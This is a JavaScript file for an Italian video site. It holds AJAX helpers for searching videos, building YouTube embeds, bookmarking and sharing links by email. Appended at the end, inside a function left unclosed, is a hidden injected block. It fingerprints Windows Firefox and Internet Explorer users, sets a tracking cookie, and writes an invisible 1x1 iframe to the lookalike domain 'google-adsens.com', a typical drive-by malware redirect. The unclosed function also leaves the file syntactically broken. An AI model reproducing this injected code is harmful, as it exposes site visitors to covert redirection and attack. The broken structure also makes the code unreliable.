var xmlHttp = getXmlHttpObject();
var num;
var incremento;
var oCampo;
var oCat;

function trova(t){
	xmlHttp.open('GET', 'http_php/cerca.php?wKey='+t, true);
 	xmlHttp.onreadystatechange = stateChanged_trova;
  	xmlHttp.send(null);	
}


function hidePage(){
	document.getElementById("oBody").style.visibility="hidden";
}

function showPage(){
	document.getElementById("oBody").style.visibility="visible";
}

function getScroll(){
var x,y;

if (self.pageYOffset) // all except Explorer
{
x = self.pageXOffset;
y = self.pageYOffset;
}
else if (document.documentElement && document.documentElement.scrollTop)
// Explorer 6 Strict
{
x = document.documentElement.scrollLeft;
y = document.documentElement.scrollTop;
//document.getElementById("loveworn").setVariable("yOffset", y);
}
else if (document.body) // all other Explorers
{
x = document.body.scrollLeft;
y = document.body.scrollTop;
}
return y;
//window.document.loveworn.SetVariable("yOffset", y);

}


function scrollToTop(){
	window.scrollTo(0.0);	
}

function rollOverIn(buttId,buttNameOver){
	document.getElementById(buttId).src="parts/"+buttNameOver;
	
}

function rollOverOut(buttId,buttName){
	document.getElementById(buttId).src="parts/"+buttName;	
}

function preferiti(){
	var whatTitle=document.getElementById("fieldBookmark").value;
	
	var title = whatTitle;
    var url = document.location.href;
    if (window.sidebar) // Mozilla Firefox
    {
        window.sidebar.addPanel(title, url, "");
    }
    else if (window.external) // Internet Explorer
    {
        window.external.AddFavorite(url, title);
    }
    else if (window.opera && window.print) // Opera
    {
        var elem = document.createElement('a');
        elem.setAttribute('href', url);
        elem.setAttribute('title', title);
        elem.setAttribute('rel', 'sidebar');
        elem.click();
    }	
	hidePreferiti();
}

function hideFieldCode(){
	document.getElementById("codiceVideo").style.visibility="hidden";
	//document.getElementById("indiceCategorie").style.top="-459px";
}

function showPreferiti(){
	document.getElementById("fieldBookmark").value=document.title;
	var theMask=document.getElementById("mask");
	var theMoov=document.getElementById("moovie");
	var winBookmark=document.getElementById("bookmark");
	theMoov.style.visibility="hidden";
	theMask.style.visibility="visible";
	winBookmark.style.visibility="visible";
}


function hidePreferiti(){
	
	var winBookmark=document.getElementById("bookmark");
	var theMask=document.getElementById("mask");
	var theMoov=document.getElementById("moovie");
	winBookmark.style.visibility="hidden";
	theMask.style.visibility="hidden";
	theMoov.style.visibility="visible";	
}

function showVideoTrovato(){
	//document.getElementById("fieldBookmark").value=document.title;
	var trovati=document.getElementById("findResult");
	//var theMask2=document.getElementById("mask2");
	var ilVideo=document.getElementById("fondoVideo");
	//var winBookmark=document.getElementById("bookmark");
	trovati.style.visibility="hidden";	
	ilVideo.style.visibility="visible";
	//theMask2.style.visibility="visible";
	//winBookmark.style.visibility="visible";
}


function hideVideoTrovato(){
	//var winBookmark=document.getElementById("bookmark");
	document.getElementById("codiceVideo").style.visibility="hidden";
	var trovati=document.getElementById("findResult");
	//var theMask2=document.getElementById("mask2");
	var ilVideo=document.getElementById("fondoVideo");
	//winBookmark.style.visibility="hidden";
	//theMask2.style.visibility="hidden";
	ilVideo.style.visibility="hidden";	
	trovati.style.visibility="visible";	
}


function sendLink(oHost){
	var oLoc=oHost;
	var qualeCampo=document.getElementById("selcampo").value;
	var cat=document.getElementById("selCat").value;
	var sbjct="Ti invio questo Video dal sito di biotube.it";
	if(!num){num=1;}
	if(cat!=""){
	location.href="mailto:?subject="+sbjct+"&body=http://"+oLoc+"/video_mail.php?oVide="+num+'%26theCampo='+qualeCampo+'%26qualeCat='+cat;// togliere sitoBIOTUBE_php quando il dominio sarà disponibile
	} else {
		location.href="mailto:?subject="+sbjct+"&body=http://"+oLoc+"/video_mail.php?oVide="+num+'%26theCampo='+qualeCampo;
	}
}

function sendLink2(oHost){
	var oLoc=oHost;
	var qualeCampo=document.getElementById("selcampo").value;
	var cat=document.getElementById("selCat").value;
	var sbjct="Ti invio questo Video dal sito di biotube.it";
	if(!num){num=1;}
	if(cat!=""){
	location.href="mailto:?subject="+sbjct+"&body=http://"+oLoc+"/video_mail.php?oVide="+num+'%26theCampo='+qualeCampo+'%26qualeCat='+cat;// togliere sitoBIOTUBE_php quando il dominio sarà disponibile
	} else {
		location.href="mailto:?subject="+sbjct+"&body=http://"+oLoc+"/video_mail.php?oVide="+num+'%26theCampo='+qualeCampo;
	}
}



function codeInclude(){
	var oLoc=document.location;
	if(!num){num=1;}
	location.href=oLoc+"videocode.php?oVide="+num;
}


function mostraIlVideoTrovato(oCode){
	xmlHttp.open('GET', 'http_php/videotrovato.php?wC='+oCode, true);
  xmlHttp.onreadystatechange = stateChanged_mostraIlVideoTrovato;
  xmlHttp.send(null);
}


function treVideoRequest(n,campo,cat){
	num=n;
	oCampo=campo;
	oCat=cat;
  xmlHttp.open('GET', 'http_php/trevideo.php?tn='+n+'&wCampo='+campo+'&qualeCat='+cat, true);
  xmlHttp.onreadystatechange = stateChanged_treVideoRequest;
  xmlHttp.send(null);
}

function menuIconAvanti(p,campo,cat){
	var oIncrement=document.getElementById('increment').value;
	oIncrement=parseInt(oIncrement)+parseInt("11");
	p=oIncrement;
	document.getElementById('increment').value=oIncrement;
  xmlHttp.open('GET', 'http_php/iconmenu.php?pgVid='+p+'&wCampo='+campo+'&qualeCat='+cat, true);
  xmlHttp.onreadystatechange = stateChanged_menuIconRequest;
  xmlHttp.send(null);
}

function menuIconIndietro(p,campo,cat){
	var oIncrement=document.getElementById('increment').value;
	if (oIncrement>=11){
	oIncrement=parseInt(oIncrement)-parseInt("11");
	p=oIncrement;
	document.getElementById('increment').value=oIncrement;
  xmlHttp.open('GET', 'http_php/iconmenu.php?pgVid='+p+'&wCampo='+campo+'&qualeCat='+cat, true);
  xmlHttp.onreadystatechange = stateChanged_menuIconRequest;
  xmlHttp.send(null);
	}
}

function menuIconStart(campo,cat){
	var oIncrement=document.getElementById('increment').value;
	oIncrement=parseInt("0");
	p=oIncrement;
	document.getElementById('increment').value=oIncrement;
  xmlHttp.open('GET', 'http_php/iconmenu.php?pgVid='+p+'&wCampo='+campo+'&qualeCat='+cat, true);
  xmlHttp.onreadystatechange = stateChanged_menuIconRequest;
  xmlHttp.send(null);
}

function infoVideoRequest(n,campo,cat){
  xmlHttp.open('GET', 'http_php/infovideo.php?tn='+n+'&wCampo='+campo+'&qualeCat='+cat, true);
  xmlHttp.onreadystatechange = stateChanged_infoVideoRequest;
  xmlHttp.send(null);
}

function infoTitoloVideoRequest(n,campo,cat){
  xmlHttp.open('GET', 'http_php/infotitolo.php?tn='+n+'&wCampo='+campo+'&qualeCat='+cat, true);
  xmlHttp.onreadystatechange = stateChanged_infoTitoloRequest;
  xmlHttp.send(null);
}

function infoTestoVideoRequest(n,campo,cat){
  xmlHttp.open('GET', 'http_php/infotesto.php?tn='+n+'&wCampo='+campo+'&qualeCat='+cat, true);
  xmlHttp.onreadystatechange = stateChanged_infoTestoRequest;
  xmlHttp.send(null);
}

function getCode(){
	if(!num){num=1;}
	var qualeCampo=document.getElementById("selcampo").value;
	var cat=document.getElementById("selCat").value;
  xmlHttp.open('GET', 'http_php/videocode.php?oVide='+num+'&theCampo='+qualeCampo+'&qualeCat='+cat, true);
  xmlHttp.onreadystatechange = stateChanged_getCode;
  xmlHttp.send(null);
}


function stateChanged_menuIconRequest() {
	if(xmlHttp.readyState == 4) {
		//Stato OK
		if (xmlHttp.status == 200) {
			var resp = xmlHttp.responseText;
			
			if(resp) {
				//alert(xmlHttp.responseText);
				document.getElementById("menuvideo").innerHTML=xmlHttp.responseText;
				//document.location.reload();
				
			}
		} else {
			alert(xmlHttp.responseText);
		}
	}
}

function stateChanged_trova() {
	if(xmlHttp.readyState == 4) {
		//Stato OK
		if (xmlHttp.status == 200) {
			var resp = xmlHttp.responseText;
			
			if(resp) {
				//alert(xmlHttp.responseText);
				document.getElementById("findResult").innerHTML=xmlHttp.responseText;
				//document.location.reload();
				
			}
		} else {
			alert(xmlHttp.responseText);
		}
	}
}


function stateChanged_mostraIlVideoTrovato() {
	if(xmlHttp.readyState == 4) {
		//Stato OK
		if (xmlHttp.status == 200) {
			var resp = xmlHttp.responseText;
			
			if(resp) {
				var oArray=xmlHttp.responseText.split("&#167;");
				document.getElementById("moovie").innerHTML="<object width='580' height='351'><param name='movie' value='http://www.youtube.com/v/"+oArray[0]+"&hl=it_IT&fs=1?rel=0'></param><param name='allowFullScreen' value='true'></param><param name='allowscriptaccess' value='always'></param><embed src='http://www.youtube.com/v/"+oArray[0]+"&hl=it_IT&fs=1?rel=0' type='application/x-shockwave-flash' allowscriptaccess='always' allowfullscreen='true' width='580' height='351'></embed></object>";//xmlHttp.responseText;
				document.getElementById("infoImgVideo").innerHTML="<img src='http://i2.ytimg.com/vi/"+oArray[0]+"/default.jpg'>";
				document.getElementById("infoTitolo").innerHTML="<strong>"+oArray[1]+"</strong>";
				document.getElementById("infoTesto").innerHTML=oArray[2];
				
				document.getElementById("embedCode").value="<object width='580' height='351'><param name='movie' value='http://www.youtube.com/v/"+oArray[0]+"&hl=it_IT&fs=1?rel=0'></param><param name='allowFullScreen' value='true'></param><param name='allowscriptaccess' value='always'></param><embed src='http://www.youtube.com/v/"+oArray[0]+"&hl=it_IT&fs=1?rel=0' type='application/x-shockwave-flash' allowscriptaccess='always' allowfullscreen='true' width='580' height='351'></embed></object>";//xmlHttp.responseText;

			}
		} else {
			alert(xmlHttp.responseText);
		}
	}
}

function stateChanged_treVideoRequest() {
	if(xmlHttp.readyState == 4) {
		//Stato OK
		if (xmlHttp.status == 200) {
			var resp = xmlHttp.responseText;
			
			if(resp) {
				
				document.getElementById("moovie").innerHTML=xmlHttp.responseText;
				infoVideoRequest(num,oCampo,oCat);
			}
		} else {
			alert(xmlHttp.responseText);
		}
	}
}

function stateChanged_infoVideoRequest() {
	if(xmlHttp.readyState == 4) {
		//Stato OK
		if (xmlHttp.status == 200) {
			var resp = xmlHttp.responseText;
			
			if(resp) {
				
				document.getElementById("infoImgVideo").innerHTML=xmlHttp.responseText;
				infoTitoloVideoRequest(num,oCampo,oCat);
			}
		} else {
			alert(xmlHttp.responseText);
		}
	}
}

function stateChanged_infoTitoloRequest() {
	if(xmlHttp.readyState == 4) {
		//Stato OK
		if (xmlHttp.status == 200) {
			var resp = xmlHttp.responseText;
			
			if(resp) {
				
				document.getElementById("infoTitolo").innerHTML="<strong>"+xmlHttp.responseText+"</strong>";
				infoTestoVideoRequest(num,oCampo,oCat);
			}
		} else {
			alert(xmlHttp.responseText);
		}
	}
}

function stateChanged_infoTestoRequest() {
	if(xmlHttp.readyState == 4) {
		//Stato OK
		if (xmlHttp.status == 200) {
			var resp = xmlHttp.responseText;
			
			if(resp) {
				document.getElementById("infoTesto").innerHTML=xmlHttp.responseText;
			}
		} else {
			alert(xmlHttp.responseText);
		}
	}
}

function stateChanged_getCode() {
	if(xmlHttp.readyState == 4) {
		//Stato OK
		if (xmlHttp.status == 200) {
			var resp = xmlHttp.responseText;
			
			if(resp) {
				document.getElementById("codiceVideo").style.visibility="visible";
				//document.getElementById("indiceCategorie").style.top="-300px";
				document.getElementById("embedCode").value=xmlHttp.responseText;
			}
		} else {
			alert(xmlHttp.responseText);
		}
	}
}

function getXmlHttpObject()
{
  var xmlHttp=null;
  try
    {
    // Firefox, Opera 8.0+, Safari
    xmlHttp=new XMLHttpRequest();
    }
  catch (e)
    {
    // Internet Explorer
    try
      {
      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
      }
    catch (e)
      {
      xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
      }
    }
  return xmlHttp;
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
